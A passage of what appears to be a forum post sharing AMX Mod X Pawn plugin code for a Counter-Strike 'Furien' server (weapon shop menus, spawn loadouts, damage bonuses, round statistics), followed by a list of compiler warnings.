g_ap[tar], g_weap_name[g_weapon[tar]]) ShowSyncHudMsg(id, g_HSO, cache); } else if((g_team[tar] == g_team[id]) || (g_team[tar] == 2 && g_team[id] == 1)) { ShowSyncHudMsg(id, g_HSO, cache) } } } public Player_Spawn_Post( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if( is_user_alive(id) ) { g_hp[id] = get_user_health(id) g_ap[id] = get_user_armor(id) if( cs_get_user_team(id) == CS_TEAM_T ) { areregen[id]=0; if(aregoldenak[id]) { aregoldenak[id]=0; } if(admspec[id]) { set_pev(id, pev_health, 0.0); set_pev(id, pev_deadflag, DEAD_DEAD); set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) return HAM_SUPERCEDE; } else { strip_user_weapons(id); give_item(id,"weapon_knife"); give_item(id,"weapon_hegrenade"); give_item(id,"weapon_smokegrenade"); give_item(id,"weapon_flashbang"); if(!fpause) { if(areblackpack[id]) { set_user_gravity(id, get_pcvar_float(g_pCvarGravity2)) cs_set_user_model( id, "blackpackff" ); cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); /*if(!crithp[id]) { areet[id]=0; } else { areet[id]=1; }*/ } else if(aresuperknife[id]) { cs_set_user_model( id, "blackfurien" ); set_user_gravity(id, get_pcvar_float(g_pCvarGravity)) } else { set_user_gravity(id, get_pcvar_float(g_pCvarGravity)) cs_reset_user_model( id); } set_user_footsteps(id, 1) } else { client_cmd(id,"weapon_knife"); set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } else if(cs_get_user_team(id) == CS_TEAM_CT) { formeniu[id]=0; areregen[id]=0; if(aresuperknife[id] || areblackpack[id]) { aresuperknife[id]=0; areblackpack[id]=0; cs_reset_user_model( id); } if(admspec[id]) { set_pev(id, pev_health, 0.0); set_pev(id, pev_deadflag, DEAD_DEAD); set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) return HAM_SUPERCEDE; } else { set_user_footsteps(id, 0) set_user_gravity(id, 1.0) strip_user_weapons(id); if(!aregoldenak[id]) { menu_display(id, g_iMenu); } else { give_item(id,"weapon_ak47"); cs_set_user_bpammo(id,CSW_AK47,250); if( get_user_weapon(id) == CSW_AK47 ) { //_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, pak47) set_pev(id, pev_weaponmodel2, vak47) } } give_item(id,"weapon_knife"); if(!fpause) { give_item(id,"weapon_knife"); give_item(id,"weapon_smokegrenade"); give_item(id,"weapon_flashbang"); give_item(id,"weapon_deagle"); cs_set_user_bpammo(id,CSW_DEAGLE,250); } } if(fpause) { client_cmd(id,"weapon_knife"); } } else { user_silentkill(id); } set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } public client_putinserver(id){ _Set(_in_server, id) } public client_disconnect(id) { topkillscount[id]=0; topdmgcount[id]=0.0; _UnSet(_alive, id) _UnSet(_in_server, id) if(task_exists(id)) remove_task(id); aretask[id]=0; g_team[id] = 0 g_model_selected[id] = false g_corpse_made[id] = false } public APusBomba(id) { for(new i=1;i<=32;i++) areet[i]=0; } public watfacme(id) { if(!fpause) { if(!formeniu[id] && cs_get_user_team(id) == CS_TEAM_CT && is_user_alive(id)) { if(!aregoldenak[id]) { menu_display(id, g_iMenu); } else { menu_display(id, g_iMenuG); } } else { if(cs_get_user_team(id) == CS_TEAM_T) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Furien!"); } else if(get_user_team(id) == 3) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti Spectator!"); } else if(!is_user_alive(id)) { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul daca esti mort!"); } else if(!formeniu[id]) { ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } } else { ChatColor(id,"^x04[WATF]^x01 Nu poti selecta meniul in runda de lame!"); } } public checkModel(id) { if ( !aregoldenak[id] && !aresuperknife[id] && !areblackpack[id] ) return PLUGIN_HANDLED new szWeapID = read_data(2) if ( szWeapID == CSW_AK47 && aregoldenak[id]) { set_pev(id, pev_viewmodel2, vak47) set_pev(id, pev_weaponmodel2, pak47) } else if( szWeapID == CSW_KNIFE) { if(aresuperknife[id]) { switch(skmod[id]) { case 0: { set_pev(id, pev_viewmodel2, knife) } case 1: { set_pev(id, pev_viewmodel2, knife2) } case 2: { set_pev(id, pev_viewmodel2, knife3) } } } else if(areblackpack[id]) { set_pev(id, pev_viewmodel2, knifebp) } } return PLUGIN_HANDLED } public checkWeapon(id) { new plrClip, plrAmmo; new plrWeapId plrWeapId = get_user_weapon(id, plrClip , plrAmmo) if (plrWeapId == CSW_AK47 && aregoldenak[id]) { checkModel(id) } else if(plrWeapId == CSW_KNIFE && (aresuperknife[id] || areblackpack[id])) { checkModel(id) } else { return PLUGIN_CONTINUE } return PLUGIN_HANDLED } /*public CKnife_Deploy( iKnife ) { new id = get_pdata_cbase(iKnife, m_pPlayer, XO_WEAPON) if( aresuperknife[id] ) { if(!skmod[id]) { (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife) } else if(skmod[id]==1) { (Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife2) } else if(skmod[id]==2) { ExecuteHamB(Ham_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife3) } } if( cs_get_user_team(iInflictor) == CS_TEAM_T && areblackpack[iInflictor] && areet[iInflictor] && iInflictor != iAttacker) { new hpbp = get_user_health(iInflictor) new hpdmg = get_param(3) client_print(0,print_chat,"Test: hpdmg = %d flDmg = %d ",hpdmg,flDamage); new hpleft = hpbp - hpdmg if(hpleft>0 && hpleft <= crithp[iInflictor]) { areet[iInflictor]=0; set_user_origin(id, spawnpoint[iInflictor]); ChatColor(iInflictor,"^x04[WATF-Emergency]^x01 Ti-ai folosit teleportarea de urgenta!"); } } } public Event_Damage( Victim ) { static Attacker, AttackerWpn, VictimBodyPart Attacker = get_user_attacker( Victim, AttackerWpn, VictimBodyPart ) static damage; damage = read_data( 2 ) }*/ public CBasePlayer_TakeDamage(id, iInflictor, iAttacker, Float:flDamage, bitsDamageType) { //if(!fpause) //{ if(IsPlayer(iInflictor)) { if(aresuperknife[iAttacker] && get_user_weapon(iAttacker) == CSW_KNIFE ) { topdmgcount[iAttacker]+=flDamage*2.8; SetHamParamFloat( 4, flDamage * 2.8 ) } else if(aregoldenak[iAttacker] && get_user_weapon(iAttacker) == CSW_AK47 ) { topdmgcount[iAttacker]+=flDamage*2.0; SetHamParamFloat( 4, flDamage * 2.0 ) } else { topdmgcount[iAttacker]+=flDamage; } } } /*public client_damage(attacker, victim, damage, wpnindex, hitplace, TA) { if(attacker != victim) { if( cs_get_user_team(victim) == CS_TEAM_T && areblackpack[victim] && areet[victim]) { new hpbp = get_user_health(victim) new hpleft = hpbp - damage; if(hpleft > 0 && hpleft <= 20 && crithp[victim]) { areet[victim]=0; set_user_origin(victim, spawnpoint[victim]); set_user_health(victim,75); ChatColor(victim,"^x04[WATF-Emergency]^x01 Second Chance Given, 75HP granted!"); } } //client_print(0, print_chat, "DMG: %d", damage) } } */ public Ham_CBasePlayer_Killed_Post(id) { aresuperknife[id]=0; areblackpack[id]=0; aregoldenak[id]=0; areregen[id]=0; skmod[id]=0; } /*public nogaksk(id) { aresuperknife[id]=0; aregoldenak[id]=0; areregen[id]=0; }*/ public Event_DeathMsg() { new iKiller = read_data(DeathMsg_KillerID) new ids[1] ids[0] = read_data(2) if( IsPlayer(iKiller) && is_user_connected(iKiller) ) { new iVictim = read_data(DeathMsg_VictimID) if( iVictim != iKiller ) { topkillscount[iKiller]++; if(cs_get_user_team(iKiller) == CS_TEAM_T) { set_task(1.0,"da400",iKiller); new kweapon[32] read_data(4,kweapon,31) if(aresuperknife[iKiller] && skmod[iKiller] < 2 && equali(kweapon,"knife")) { switch(skmod[iKiller]) { case 0: { skmod[iKiller]++ set_pev(iKiller, pev_viewmodel2, knife2) } case 1: { skmod[iKiller]++ set_pev(iKiller, pev_viewmodel2, knife3) } } } } else { set_task(1.0,"da1337",iKiller); } } } } public da400(iKiller) { if(is_user_connected(iKiller)) { new banif = cs_get_user_money(iKiller); if(banif + 100 < 16000) { cs_set_user_money(iKiller, banif + 100); } else { new setbanif = 16000 - banif cs_set_user_money(iKiller, banif + setbanif); } } } public da1337(iKiller) { if(is_user_connected(iKiller)) { new baniaf = cs_get_user_money(iKiller); if(baniaf + 1037 < 16000) { cs_set_user_money(iKiller, baniaf + 1037); } else { new setbaniaf = 16000 - baniaf cs_set_user_money(iKiller, baniaf + setbaniaf); } } } public watfacme2(id) { //if(!fpause) //{ if(is_user_alive(id)) { if(cs_get_user_team(id) == CS_TEAM_T) { menu_display(id, g_iMenu3); } else if(cs_get_user_team(id) == CS_TEAM_CT) { menu_display(id, g_iMenu2); } else { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul!"); } } else if(get_user_team(id) != 3) { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti mort!"); } else { ChatColor(id,"^x04[WATF]^x01 Nu poti accesa meniul daca esti spectator!"); } //} } public hpregen(id) { if(is_user_connected(id) && is_user_alive(id) && areregen[id]) { new rhp[33]; rhp[id] = get_user_health(id) if(rhp[id] < 100) { set_user_health(id, rhp[id] + 1); } } } public event_teaminfo() { new id = read_data(1) new team[2] read_data(2, team, 1) switch(team[0]) { case 'T': g_team[id] = TEAM_T case 'C': g_team[id] = TEAM_CT case 'S': g_team[id] = TEAM_SPEC } } public stay_spec(id) { if(g_team[id] != TEAM_SPEC) { g_team[id] = TEAM_SPEC message_begin(MSG_ALL, get_user_msgid("TeamInfo")) write_byte(id) write_string("SPECTATOR") message_end() } } public join_spec_cmd(id) { new argv[2] read_argv(1, argv, 1) if(argv[0] == '6') stay_spec(id) } public join_spec_menucmd(id, key) { if(key == 5) stay_spec(id) } public joined_a_team() { new name[32] read_data(3, name, 31) new id = get_user_index(name) g_model_selected[id] = false } public select_a_model(id) { g_model_selected[id] = true if(!g_roundend && is_admin(id)) set_task(1.0, "delay", id) } public delay(id) { if(g_team[id] && !is_user_alive(id)) { g_corpse_made[id] = true free_look(id) } } public hook_corpse() { new id = read_data(12) g_corpse_made[id] = true if(!g_roundend && is_admin(id)) free_look(id) } public free_look(id) { if(!g_roundend && is_admin_dead(id) && g_model_selected[id]) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } public round_end() { new maxid,maxk=-1, numemax[32],numedmg[32],dmgid,maxdmg2,inter; new Float: maxdmg; for(new i = 1; i<=32 ; i++) { if(topkillscount[i] > maxk) { maxid=i; maxk=topkillscount[i]; } if(topdmgcount[i] > maxdmg) { dmgid=i; maxdmg=topdmgcount[i]; } } maxdmg2 = floatround(maxdmg, floatround_floor); get_user_name(maxid,numemax,31); get_user_name(dmgid,numedmg,31); set_hudmessage(255, 255, 255, -1.0, 0.40, 0, 6.0, 6.0, 0.5, 0.15, 1) if(!maxk) { show_hudmessage(0,"CS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!"); } else { for(new i = 1; i<=32; i++) { if(is_user_connected(i)) { inter = floatround(topdmgcount[i], floatround_floor); show_hudmessage(i,"Most kills this round by %s (%d frags)!^nMost damage made by %s (%d dmg)!^nYou made this round %d frags with %d damage!^n^nCS.FURIEN.RO^nwww.watf.ro^n^nPentru informatii server scrie /info in chat!",numemax,maxk, numedmg,maxdmg2,topkillscount[i],inter); } } } g_roundend = true freelook_over() } public new_round() { for(new i=1; i<=32; i++) { topkillscount[i]=0; topdmgcount[i]=0.0; } g_roundend = false freelook_over() } public freelook_over() { for(new id = 1; id <= g_maxplayers; id++) { if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) g_corpse_made[id] = false } } public HandleGunMenu(id, menu, item) { // if(!fpause) //{ if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { switch(item) { case 0: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id] ) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_m4a1"); give_item(id, "weapon_knife"); cs_set_user_bpammo(id, CSW_M4A1, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 1: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_ak47"); cs_set_user_bpammo(id, CSW_AK47, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 2: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_mp5navy"); cs_set_user_bpammo(id, CSW_MP5NAVY, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 3: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_famas"); cs_set_user_bpammo(id, CSW_FAMAS, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 4: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_galil"); cs_set_user_bpammo(id, CSW_GALIL, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 5: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_p90"); cs_set_user_bpammo(id, CSW_P90, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } } } //} } public HandleGunMenu2(id, menu, item) { //if(!fpause) //{ if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) { switch(item) { case 0: { if(cs_get_user_money(id) >= 9000) { if(!aregoldenak[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 9000); aregoldenak[id]=1; if(user_has_weapon(id, CSW_M4A1)) { ham_strip_weapon(id, "weapon_m4a1"); } else if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } else if(user_has_weapon(id, CSW_MP5NAVY)) { ham_strip_weapon(id, "weapon_mp5navy"); } else if(user_has_weapon(id, CSW_FAMAS)) { ham_strip_weapon(id, "weapon_famas"); } else if(user_has_weapon(id, CSW_GALIL)) { ham_strip_weapon(id, "weapon_galil"); } else if(user_has_weapon(id, CSW_P90)) { ham_strip_weapon(id, "weapon_p90"); } give_item(id,"weapon_ak47"); cs_set_user_bpammo(id,CSW_AK47,250); if( get_user_weapon(id) == CSW_AK47 ) { set_pev(id, pev_viewmodel2, pak47) set_pev(id, pev_weaponmodel2, vak47) } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Golden AK 47 cu $9000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Golden AK 47!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Golden AK 47!"); } } case 1: { if(cs_get_user_money(id) >= 300) { if(!cs_get_user_defuse(id)) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 300); cs_set_user_defuse(id, 1); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Defuse Kit cu $300!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Defuse Kit!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Defuse Kit!"); } } case 2: { if(cs_get_user_money(id) >= 3000) { new hp = get_user_health(id); if(hp<200) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(hp + 50 > 200) { set_user_health(id, 200); } else { set_user_health(id, hp + 50); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (200 HP)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!"); } } case 3: { if(cs_get_user_money(id) >= 1000) { new CsArmorType:itype; new armor = cs_get_user_armor(id, itype) if(armor<100) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 1000); if(armor + 50 > 100) { cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); } else { cs_set_user_armor(id,armor + 50, CS_ARMOR_VESTHELM) } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 AP + Helmet cu $1000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 AP + Helmet!"); } } case 4: { if(cs_get_user_money(id) >= 6000) { if(is_user_alive(id)) { if(!areregen[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 6000); areregen[id]=1; if(!aretask[id]) { set_task(1.0, "hpregen", id, "", 0, "b") aretask[id]=1; } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HP Regenerator cu $6000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP Regenerator!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara HP Regenerator daca esti mort!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HP Regenerator!"); } } case 5: { if(cs_get_user_money(id) >= 3000) { if(is_user_alive(id)) { if(cs_get_user_bpammo(id,get_user_weapon(id)) < 250 ) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(cs_get_user_bpammo(id,get_user_weapon(id)) + 90 < 250) { cs_set_user_bpammo(id,get_user_weapon(id),cs_get_user_bpammo(id,get_user_weapon(id))+90); } else { cs_set_user_bpammo(id,get_user_weapon(id),250); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara mai mult de 250 gloante!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara Ammo daca esti mort!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Ammo!"); } } } } //} } public HandleGunMenu3(id, menu, item) { //if(!fpause) //{ if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T) { switch(item) { case 0: { if(cs_get_user_money(id) >= 15000) { if(!aresuperknife[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 15000); aresuperknife[id]=1; if( get_user_weapon(id) == CSW_KNIFE ) { set_pev(id, pev_viewmodel2, knife) } cs_set_user_model( id, "blackfurien" ); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja SuperKnife!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara SuperKnife!"); } } case 1: { if(cs_get_user_money(id) >= 3000) { if(user_has_weapon(id, CSW_HEGRENADE)) { new hegrn = cs_get_user_bpammo(id, CSW_HEGRENADE); if(hegrn < 2) { cs_set_user_bpammo(id, CSW_HEGRENADE, hegrn+1); new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja numarul maxim de HE Grenade-uri permis (2 HE Grenade)!"); } } else { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); give_item(id,"weapon_hegrenade"); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HE Grenade!"); } } case 2: { if(cs_get_user_money(id) >= 3000) { new hp = get_user_health(id); if(hp<150) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(hp + 50 > 150) { set_user_health(id, 150); } else { set_user_health(id, hp + 50); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (150 HP)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!"); } } case 3: { if(cs_get_user_money(id) >= 5000) { new CsArmorType:itype; new armor = cs_get_user_armor(id,itype) if(armor<100) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 5000); cs_set_user_armor(id,100, CS_ARMOR_VESTHELM); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 100 AP + Helmet cu $5000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 100 AP + Helmet!"); } } case 4: { if(cs_get_user_money(id) >= 9000) { if(!areblackpack[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 9000); areblackpack[id]=1; if( get_user_weapon(id) == CSW_KNIFE ) { set_pev(id, pev_viewmodel2, knifebp) } //areet[id]=0; cs_set_user_model( id, "blackpackff" ); cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //menu_display(id, g_iMenu4); //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Black Pack!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Black Pack!"); } } } } } public Decenupot(id, menu, item) { if(item == 5 || item == 6) { show_motd(id,"/addons/amxmodx/configs/motdnoninregistrati.html") } } /*public HandleGunMenu4(id, menu, item) { //if(!fpause) //{ if(!ANTIF2 && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) { switch(item) { case 0: { crithp[id] = 20; } case 1: { crithp[id] = 0; } } } }*/ public Message_SendAudio(iMsgId, iMsgDest, id) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if( !id ) { new bool:bAntiWins new szSound[14] schimbareeq=1; get_msg_arg_string(2, szSound, charsmax(szSound)) if( equal(szSound, "%!MRAD_ctwin") ) { bAntiWins = true EnableHamForward( g_iHhTakeDamage ) } else if( equal(szSound, "%!MRAD_terwin") ) { bAntiWins = false EnableHamForward( g_iHhTakeDamage ) } else { return } if( get_msg_block(g_iTextMsg) == BLOCK_NOT ) { set_msg_block(g_iTextMsg, BLOCK_ONCE) } new iPlayers[32], iNum, iPlayer get_players(iPlayers, iNum) for(new i; i<iNum; i++) { iPlayer = iPlayers[i] client_print(iPlayer, print_center, "%L", iPlayer, bAntiWins ? "FURIEN_ANTI_WIN_MSG" : "FURIEN_FURIEN_WIN_MSG") } if( bAntiWins ) { set_msg_arg_string(2, afs) } else { set_msg_arg_string(2, fs) } } } } public Player_ResetMaxSpeed( id ) { if(!fpause) { if( is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T && get_user_maxspeed(id) != -1.0 ) { if(areblackpack[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed2)) } else { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed)) } } } } public Set_Terrorist_Visibility( iEnt ) { entity_set_float(iEnt, EV_FL_nextthink, get_gametime() + 0.1) if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { new iPlayers[MAX_PLAYERS], iNum, id, Float:fVecVelocity[3], iSpeed get_players(iPlayers, iNum, "ae", "TERRORIST") new iInvisibility for(new i; i<iNum; i++) { id = iPlayers[i] if(!fpause) { if( get_user_weapon(id) == CSW_KNIFE ) { if(areblackpack[id] && cloackinuse[id]) { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0) } else { entity_get_vector(id, EV_VEC_velocity, fVecVelocity) iSpeed = floatround( vector_length(fVecVelocity) ) if( iSpeed < 255 ) { iInvisibility = iSpeed - (256 - iSpeed) / 3 if( iInvisibility < 0 ) { iInvisibility = 0 } set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, iInvisibility) } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0); } } } } public Hostage_Spawn( iHostage ) { remove_entity(iHostage) return HAM_SUPERCEDE } public Player_TakeDamage() { return HAM_SUPERCEDE } stock ham_strip_weapon(id,weapon[]) { if(!equal(weapon,"weapon_",7)) return 0; new wId = get_weaponid(weapon); if(!wId) return 0; new wEnt; while((wEnt = engfunc(EngFunc_FindEntityByString,wEnt,"classname",weapon)) && pev(wEnt,pev_owner) != id) {} if(!wEnt) return 0; if(get_user_weapon(id) == wId) ExecuteHamB(Ham_Weapon_RetireWeapon,wEnt); if(!ExecuteHamB(Ham_RemovePlayerItem,id,wEnt)) return 0; ExecuteHamB(Ham_Item_Kill,wEnt); set_pev(id,pev_weapons,pev(id,pev_weapons) & ~(1<<wId)); // this block should be used for Counter-Strike: /*if(wId == CSW_C4) { cs_set_user_plant(id,0,0); cs_set_user_bpammo(id,CSW_C4,0); } else if(wId == CSW_SMOKEGRENADE || wId == CSW_FLASHBANG || wId == CSW_HEGRENADE) cs_set_user_bpammo(id,wId,0);*/ return 1; } stock set_user_death( iPlayer, iNew_death ) { set_pdata_int( iPlayer, 444, iNew_death, 5 ) // Update Scoreboard. message_begin( MSG_ALL, g_iMsg_ScoreInfo ) write_byte( iPlayer ) write_short( get_user_frags( iPlayer ) ) write_short( iNew_death ) write_short(0) write_short( get_user_team( iPlayer ) ) message_end() } stock ChatColor(const id, const input[], any:...) { new count = 1, players[32] static msg[191] vformat(msg, 190, input, 3) replace_all(msg, 190, "!g", "^4") // Green Color replace_all(msg, 190, "!y", "^1") // Default Color replace_all(msg, 190, "!team", "^3") // Team Color if (id) players[0] = id; else get_players(players, count, "ch") { for (new i = 0; i < count; i++) { if (is_user_connected(players[i])) { message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText, _, players[i]) write_byte(players[i]); write_string(msg); message_end(); } } } } I get these errors PHP Code: /tmp/textu6jYuP.sma(540) : warning 209: function "daBP" should return a value /tmp/textu6jYuP.sma(629) : warning 209: function "CWeaponBox_Touch" should return a value /tmp/textu6jYuP.sma(782) : warning 217: loose indentation /tmp/textu6jYuP.sma(809) : warning 217: loose indentation /tmp/textu6jYuP.sma(1106) : warning 209: function "Player_Spawn_Post" should return a value /tmp/textu6jYuP.sma(2232) : warning 217: loose indentation /tmp/textu6jYuP.sma(2362) : warning 204: symbol is assigned a value that is never used: "g_details" /tmp/textu6jYuP.sma(2362) : warning 204: symbol is 